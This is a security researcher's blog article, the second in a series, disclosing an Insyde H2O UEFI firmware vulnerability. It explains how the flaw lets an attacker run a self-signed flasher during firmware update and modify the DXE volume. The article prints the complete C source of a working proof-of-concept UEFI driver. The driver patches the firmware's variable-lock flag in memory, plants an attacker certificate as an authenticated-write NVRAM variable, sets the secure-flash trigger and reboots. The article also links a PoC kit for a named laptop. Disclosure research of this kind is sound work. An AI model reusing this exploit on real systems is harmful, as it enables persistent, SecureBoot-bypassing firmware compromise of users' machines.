Hydroph0bia — from bypassing SecureBoot to modifying the DXE volume in Insyde H2O UEFI-compatible firmware

Hello, reader. In front of you is the second article about a serious vulnerability I found in UEFI-compatible firmware based on the Insyde H2O platform, which I named Hydroph0bia. In the first article, I talked about the issue of shadowing volatile NVRAM variables with non-volatile ones, and the catastrophic consequences that can arise from an unfortunate combination of circumstances and careless programming of security-critical firmware components. Proper understanding of this article requires knowledge from the first one, so if you haven’t read it yet, I recommend filling that gap.

I again strongly advise against using the information obtained from this article for any illegal actions; you use all the information at your own risk.


Introduction

From the first article, we learned that if we generate our own certificate, wrap it in the EFI_SIGNATURE_LIST format, and add it to the non-volatile NVRAM variable SecureFlashCertData, as well as create the variable SecureFlashSetupMode with a value of 1, this will make the vulnerable Insyde H2O firmware trust executables signed with our certificate as if they were signed by Insyde itself.

This automatically means that we can run our code even in boot modes where the firmware only trusts Insyde's code, such as in firmware update mode. That is, we can replace the isflash.bin flash programmer used for installing updates with our own code and execute it when all write protections have already been removed by the firmware.

Gaining control during a firmware update is a much more serious issue than just bypassing UEFI SecureBoot, because with successful exploitation, we will be able to modify all firmware components not covered by Intel BootGuard (or the equivalent AMD technology) or Insyde FlashDeviceMap (which is used as a continuation of BG in the DXE phase). Currently, PC manufacturers have learned to correctly configure BG in bulk, but many still configure FDM incorrectly.

We are "lucky," as in our case, the DXE volume is available for modifications. In UEFITool NE, it looks like this:

Here is an example of the correct configuration on another laptop:

Firmware Update System

On the Insyde H2O platform, the firmware update system works as follows:

  • The installer from the OS places a capsule file with the firmware update on the EFI System Partition, as well as the flasher isflash.bin, and sets the SecureFlasdTrigger field in the non-volatile variable SecureFlashInfo to 1 (it does this using a non-standard SMM call, because the SecureFlashInfo variable is write-protected using VariableLockProtocol, and therefore cannot be written from the OS in the usual way), and then reboots the PC.

  • After the reboot, the PEI module SecureFlashPei checks for the presence of the SecureFlashInfo variable and the value of SecureFlasdTrigger in it, and skips the write-protection setup if that value is 1.

  • The DXE driver SecureFlashDxe then performs the same check and registers a callback function, which will subsequently be called by the BdsDxe driver.

  • BdsDxe performs the same check and calls the function registered by SecureFlashDxe instead of continuing with the normal boot process.

  • This function performs some preparatory steps (disables the ability to reboot via keyboard combinations, revokes trust from binaries trusted by UEFI SecureBoot, etc.), checks the signature on the flasher isflash.bin, and, if the signature is valid, passes control to it.

The attentive reader will have already noticed that errors returned from LoadCertificateToVariable are not handled and cannot affect LoadImage, meaning if we successfully "shadow" the SecureFlashCertData variable using the SFCD utility from the previous article, it should be used within LoadImage, which will return EFI_SUCCESS for an isflash.bin signed with our certificate, and then StartImage should pass control to it, thereby successfully completing exploitation of the vulnerability.

Obviously, the first attempt predictably failed, and we need to figure out why the exact same LoadCertificateFromVariable function from BdsDxe worked perfectly for bypassing SecureBoot in the previous article, but its copy from SecureFlashDxe suddenly refuses to work. Let's open up IDA with the efiXplorer plugin and see the following:

For reasons not entirely clear to me (bugfix? countermeasures? who knows...), Insyde decided to call SetVariable with a zero-length buffer on our variable, and this—in full compliance with the specification—deleted it.

Annoying, but thanks to the same specification, we actually have not one but two options to create our variable in such a way that such a SetVariable call can’t remove it: the deprecated Auth Write (AW) attribute, and its modern replacement, Time-Based Auth Write (TA).

Special Variables

In the ancient times of the 2000s, Intel (and later the UEFI Forum, which they formed) decided to provide a reference implementation of the NVRAM subsystem (according to my classification - VSS NVRAM, details here), but they did not make its usage mandatory. Therefore, each IBV ended up developing their own NVRAM driver implementation, with its own bugs and issues. Here, we will have to study the Insyde H2O implementation in depth to understand whether it's possible to create our own variable with the AW or TA attribute.

Insyde uses a single driver VariableRuntimeDxe for the implementation of almost all NVRAM functionality. This driver is gigantic by UEFI standards, so I spent about two weeks carefully examining disassembler and decompiler listings to finally figure out the following:

  • It is impossible to create our own TA-variable because all of them are selected from a whitelist and described in the specification, and are used exclusively for SecureBoot

  • It is possible to create our own AW-variable because Insyde uses AW-variables to store data that the firmware considers sensitive, such as the password to access BIOS Setup. The code to create custom variables is so strange that it probably was never tested or called. Moreover, the VariableRuntimeDxe driver prevents the creation of new and modification of existing AW-variables after the start of the BDS phase, and in the BDS phase, such modification can be done through SMM, but for that, you need to know the BIOS Setup password, if it's set.

  • There are no other types of variables that can survive deletion via SetVariable.

In conclusion, we end up with a deadlock situation where we need to set a special variable before the start of the BDS phase, but our code is inevitably executed by the BdsDxe driver, i.e., we are already in the BDS phase.

To get out of this mess, we need to figure out how exactly VariableRuntimeDxe determines that we are in the BDS phase and "help" it solve the issue in our favor.
Since all these drivers were developed back in the very ancient days of EFI specification 1.02, they use a very ancient driver model based on the RegisterProtocolNotify function, with a subsequent hook setup on the BdsArchProtocol->Entry.

The hook itself looks like this:

That is, the original function BdsArchProtocol->Entry is replaced with a local one, and the pointer to the original function is saved in the driver’s global variable VariableRuntimeDxe. The local function looks like this:

Ha! That is, the decision to "keep the record in AW variables without SMM" depends on the global driver variable VariableRuntimeDxe, and if we (let's call it InsydeVariableLock) find it in our code in BDS and toggle it back from 1 to 0, the ability to create our own AW variables in BDS will be restored!

Moreover, since VariableRuntimeDxe is the provider of critical protocols and functions for the firmware, it is launched at the very beginning of the DXE phase (from the DXE Apriori File). Due to the features of the RegisterProtocolNotify operation (for which the DXE core maintains a doubly linked list of callbacks, processed in a Last-In-First-Out manner), the code in the BDS phase won't even have to search for this particular hook, as it will be at the top of the call chain. Excellent!

Useless VariableLock

We still lack a workaround for the VariableLock mechanism, which prevents setting SecureFlashTrigger to 1 in the SecureFlashInfo variable.

Here's what Intel says about this mechanism:

Variable Lock Protocol is related to EDK II-specific implementation of variables and intended for use as a means to mark a variable read-only after the event EFI_END_OF_DXE_EVENT_GUID is signaled.

As usual for UEFI, most of this text is nonsense. The main purpose of VariableLock is to protect the Setup variable from modification after the window for launching BIOS Setup has closed. This happens very late in the BDS phase, not at the EndOfDxe event as we're being blatantly misled into believing.

At the same time, the UEFI specification once again provides standard mechanisms to launch external code much earlier than VariableLock is triggered. One of these mechanisms is DriverXXXX.

Each Driver#### variable contains an EFI_LOAD_OPTION. Each load option variable is appended with a unique number, for example Driver0001, Driver0002, etc.

The DriverOrder variable contains an array of UINT16’s that make up an ordered list of the Driver#### variable. The first element in the array is the value for the first logical driver load option, the second element is the value for the second logical driver load option, etc. The DriverOrder list is used by the firmware’s boot manager as the default load order for UEFI drivers that it should explicitly load.

Thus, if we embed all our code for creating the SecureFlashInfo variable, searching for the hook, disabling InsydeVariableLock, and setting the AW attribute on the SecureFlashCertData variable into a UEFI driver that we will run through DriverXXXX, the VariableLock issue will be automatically solved. And if we also sign this driver with our certificate, it will run even with SecureBoot enabled and a BIOS Setup password set.

UEFI Driver

After a decade of working with UEFI, I have accumulated some experience in writing drivers for it, so this part of the work turned out to be almost trivial. If you also want to learn how to write such drivers, the UEFI Driver Writer's Guide will be an excellent foundation, and then you can look at existing open drivers like CrScreenshotDxe.

Here is its complete source code:

#include 
#include 
#include 
#include 
#include 

#pragma pack(push, 1)
typedef struct {
    UINT32 ImageSize;
    UINT64 ImageAddress;
    BOOLEAN SecureFlashTrigger;
    BOOLEAN ProcessingRequired;
} SECURE_FLASH_INFO;

typedef struct {
  UINT8 Byte48;
  UINT8 Byte8B;
  UINT8 Byte05;
  UINT32 RipOffset;
  UINT8 ByteC6;
  UINT8 Byte80;
  UINT32 RaxOffset;
  UINT8 Value;
} VARIABLE_RUNTIME_BDS_ENTRY_HOOK;
#pragma pack(pop)

#define WIN_CERT_TYPE_EFI_GUID 0x0EF1

STATIC UINT8 VariableBuffer[] = {
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // MonotonicCount
    0x00, 0x00, 0x00, 0x00, //AuthInfo.Hdr.dwLength
    0x00, 0x00, //AuthInfo.Hdr.wRevision
    0x00, 0x00, //AuthInfo.Hdr.wCertificateType
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // AuthInfo.CertType
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // AuthInfo.CertType
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // CertData
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // CertData
    // Certificate in EFI_CERTIFICATE_LIST format
    0xa1, 0x59, 0xc0, 0xa5, 0xe4, 0x94, 0xa7, 0x4a, 0x87, 0xb5, 0xab, 0x15,
    ...
    0xb4, 0xf5, 0x2d, 0x68, 0xe8
};
UINTN VariableSize = 48 + 857;

EFI_GUID gSecureFlashVariableGuid = { 0x382af2bb, 0xffff, 0xabcd, {0xaa, 0xee, 0xcc, 0xe0, 0x99, 0x33, 0x88, 0x77} };
EFI_GUID gInsydeSpecialVariableGuid = { 0xc107cfcf, 0xd0c6, 0x4590, {0x82, 0x27, 0xf9, 0xd7, 0xfb, 0x69, 0x44 ,0xb4} };

EFI_STATUS
EFIAPI
SetCertAsInsydeSpecialVariable (
  VOID
  )
{
  EFI_STATUS Status;
  UINT32 Attributes = EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS |
                 EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_AUTHENTICATED_WRITE_ACCESS;
  EFI_VARIABLE_AUTHENTICATION *CertData = (EFI_VARIABLE_AUTHENTICATION *)VariableBuffer;

  CertData->AuthInfo.Hdr.dwLength = VariableSize;
  CertData->AuthInfo.Hdr.wRevision = 0x0200;
  CertData->AuthInfo.Hdr.wCertificateType = WIN_CERT_TYPE_EFI_GUID;
  gBS->CopyMem(&CertData->AuthInfo.CertType, &gInsydeSpecialVariableGuid, sizeof(EFI_GUID));

  Status = gRT->SetVariable(
                  L"SecureFlashCertData",
                  &gSecureFlashVariableGuid,
                  Attributes,
                  VariableSize,
                  VariableBuffer
                  );
  return Status;
}

EFI_STATUS
EFIAPI
SecureFlashPoCEntry (
    IN EFI_HANDLE        ImageHandle,
    IN EFI_SYSTEM_TABLE *SystemTable
    )
{
    EFI_STATUS Status;
    SECURE_FLASH_INFO SecureFlashInfo;
    UINT32 Attributes;
    UINTN Size = 0;

    //
    // This driver needs to do the following:
    // 1. Add AW attribute to SecureFlashCertData variable that is already set as NV+BS+RT
    //    This will ensure that SecureFlashDxe driver will fail to remove it
    // 2. Set SecureFlashTrigger=1 in SecureFlashInfo variable, 
    //    that should have been write-protected by EfiVariableLockProtocol, but isn't,
    //    because we are running from Driver0000 before ReadyToBoot event is signaled.
    //    This will ensure that SecureFlashPei and other relevant drivers will not enable
    //    flash write protections, and SecureFlashDxe will register a handler
    //    that will ultimately LoadImage/StartImage our payload stored in EFI/Insyde/isflash.bin
    //
    // All further cleanup can be done after getting control from SecureFlashDxe.
    //
    // All variables used for exploitation will be cleaned 
    //    by the virtue of not having them in the modified BIOS region
    //

    // Locate BDS arch protocol
    EFI_BDS_ARCH_PROTOCOL *Bds = NULL;
    Status = gBS->LocateProtocol(&gEfiBdsArchProtocolGuid, NULL, (VOID**) &Bds);
    if (EFI_ERROR(Status)) {
      gRT->SetVariable(L"SecureFlashPoCError1", &gSecureFlashVariableGuid, 7, sizeof(Status), &Status);
      return Status;
    }

    // The function pointer we have at Bds->BdsEntry points to the very top of the hook chain, we need to search it
    // for the following:
    // 48 8B 05 XX XX XX XX ; mov rax, cs:GlobalVariableArea
    // C6 80 CD 00 00 00 01 ; mov byte ptr [rax + 0CDh], 1 ; Locked = TRUE;
    // 48 FF 25 YY YY YY YY ; jmp cs:OriginalBdsEntry

    // Read bytes from memory at Bds->Entry until we encounter 48 FF 25 pattern
    UINT8* Ptr = (UINT8*)Bds->Entry;
    while (Ptr[Size] != 0x48 || Ptr[Size+1] != 0xFF || Ptr[Size+2] != 0x25) {
      Size++;
      if (Size == 0x100) break; // Put a limit to memory read in case it all fails
    }

    if (Size == 0x100) {
      gRT->SetVariable(L"SecureFlashPoCError2", &gSecureFlashVariableGuid, 7, Size, Ptr);
      return EFI_NOT_FOUND;
    }

    // VariableRuntimeDxe is loaded from AprioriDxe before all the other drivers that could have hooked Bds->Entry, to our hook will be the very first
    if (Size != sizeof(VARIABLE_RUNTIME_BDS_ENTRY_HOOK)) {
      gRT->SetVariable(L"SecureFlashPoCError3", &gSecureFlashVariableGuid, 7, Size, Ptr);
      return EFI_NOT_FOUND;
    }

    // It is indeed the very first one, proceed
    VARIABLE_RUNTIME_BDS_ENTRY_HOOK *Hook = (VARIABLE_RUNTIME_BDS_ENTRY_HOOK*)Bds->Entry;

    // Make sure we have all expected bytes at expected offsets
    if (Hook->Byte48 != 0x48 || Hook->Byte8B != 0x8B || Hook->Byte05 != 0x05 || Hook->ByteC6 != 0xC6 || Hook->Byte80 != 0x80) {
      gRT->SetVariable(L"SecureFlashPoCError4", &gSecureFlashVariableGuid, 7, Size, Ptr);
      return EFI_NOT_FOUND;
    }

    // Check the current value of InsydeVariableLock
    EFI_PHYSICAL_ADDRESS VariableRuntimeDxeGlobals = *(EFI_PHYSICAL_ADDRESS*)(Ptr + 7 + Hook->RipOffset); // 7 bytes is for the 48 8B 05 XX XX XX XX bytes of first instruction
    UINT8* InsydeVariableLock = (UINT8*)(VariableRuntimeDxeGlobals + Hook->RaxOffset);

    // Flip it to 0 if it was 1
    if (*InsydeVariableLock == 1) {
      *InsydeVariableLock = 0;
    }
    // Bail if it's something else
    else {
      gRT->SetVariable(L"SecureFlashPoCError5", &gSecureFlashVariableGuid, 7, sizeof(UINT8), &InsydeVariableLock);
      return EFI_NOT_FOUND;
    }

    // Try removing the current NV+BS+RT certificate variable (it might already be set as AW, removal will fail in this case)
    Status = gRT->SetVariable(L"SecureFlashCertData", &gSecureFlashVariableGuid, 0, 0, NULL);
    if (!EFI_ERROR(Status)) { 
      // Try setting it as special NV+BS+RT+AW variable
      Status = SetCertAsInsydeSpecialVariable();
      if (EFI_ERROR(Status)) {
        gRT->SetVariable(L"SecureFlashPoCError6", &gSecureFlashVariableGuid, 7, sizeof(Status), &Status);

        // Set certificate variable back as NV+BS+RT, this will allow to try again next boot
        gRT->SetVariable(L"SecureFlashCertData", &gSecureFlashVariableGuid, 7, VariableSize - 48, VariableBuffer + 48);
        return Status;
      }
    }

    // Check if we need to trigger SecureFlash boot, or it was already triggered
    Size = sizeof(SecureFlashInfo);
    Status = gRT->GetVariable(L"SecureFlashInfo", &gSecureFlashVariableGuid, &Attributes, &Size, &SecureFlashInfo);
    if (!EFI_ERROR(Status)) {
      if (SecureFlashInfo.SecureFlashTrigger == 0) {
        // Fill new SecureFlashInfo
        gBS->SetMem(&SecureFlashInfo, sizeof(SecureFlashInfo), 0);
        SecureFlashInfo.SecureFlashTrigger = 1; // Trigger secure flash on next reboot
        SecureFlashInfo.ImageSize = 1112568; // Size of our isflash.bin payload

        // Set the variable to initiate secure flash
        gRT->SetVariable(L"SecureFlashInfo", &gSecureFlashVariableGuid, 7, sizeof(SecureFlashInfo), &SecureFlashInfo);

        // Reset the system to initiate update
        gRT->ResetSystem(EfiResetCold, EFI_SUCCESS, 0, NULL);
      }
    }

    return EFI_SUCCESS;
}

Now we can finally replace the original isflash.bin with something interesting, and gain control during firmware update, with all protections already kindly removed by the firmware itself. Let's have some fun!

What are your proofs?

To create a good PoC, you now need to put all the components together, write a few scripts, sign an appropriate flasher (in our case, Intel Flash Programming Tool 15) with our certificate, and prepare a modified firmware where we replace the boring default HUAWEI boot message with a slightly more cheeky ALL YOUR BASE ARE BELONG TO US. Run sfpoc.cmd from an administrator console in Windows and enjoy the process.

Conclusion

In the upcoming third part of the opus, we'll look at how exactly Insyde fixed this vulnerability and whether it's possible to bypass their patch to make it work again. Stay tuned.

Links

PoC kit for HUAWEI MateBook 14 2023, modified BIOS with image, source code and binary signed with our certificate for the SecureFlashPoC driver, and Intel FPT 15 signed with the same certificate – on GitHub.

Comments